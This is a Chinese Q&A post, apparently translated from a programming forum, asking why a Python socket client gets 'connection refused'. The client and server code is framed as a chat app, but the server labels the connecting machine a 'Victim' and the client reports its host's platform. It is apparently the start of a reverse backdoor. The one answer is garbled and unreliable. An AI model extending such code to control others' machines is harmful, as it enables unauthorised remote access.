[Python]套接字外部连接错误

时间:2018-08-29 12:11:33

标签: python sockets networking tcp server

当我尝试通过套接字(像聊天应用程序)python建立外部连接时,我得到

  

[Errno 111]连接被拒绝

图片: Error with socet 客户代码:

while True:
        try:
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((ip, port))
            break
        except socket.error as e:
            print(str(e))
            time.sleep(5)
            continue
self.reliable_send(platform.platform())

服务器映像: enter image description here 服务器代码:

def __init__(self, ip="0.0.0.0", port=55000):
        self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.listener.bind((ip, port))
        self.listener.listen(1)
        print("[+] Waiting for incoming connections")
        (self.connection, address) = self.listener.accept()
        print("[+] Got a connection from :" + address[0])
        print("[+] Victim operating system :" + self.reliable_receive())

有什么错误? 我已经在服务器和运行应用程序的服务器上打开了该端口,但是它没有任何连接! 谢谢

1 个答案:

答案 0 :(得分:0)

尝试听<plugins>而不是0.0.0.0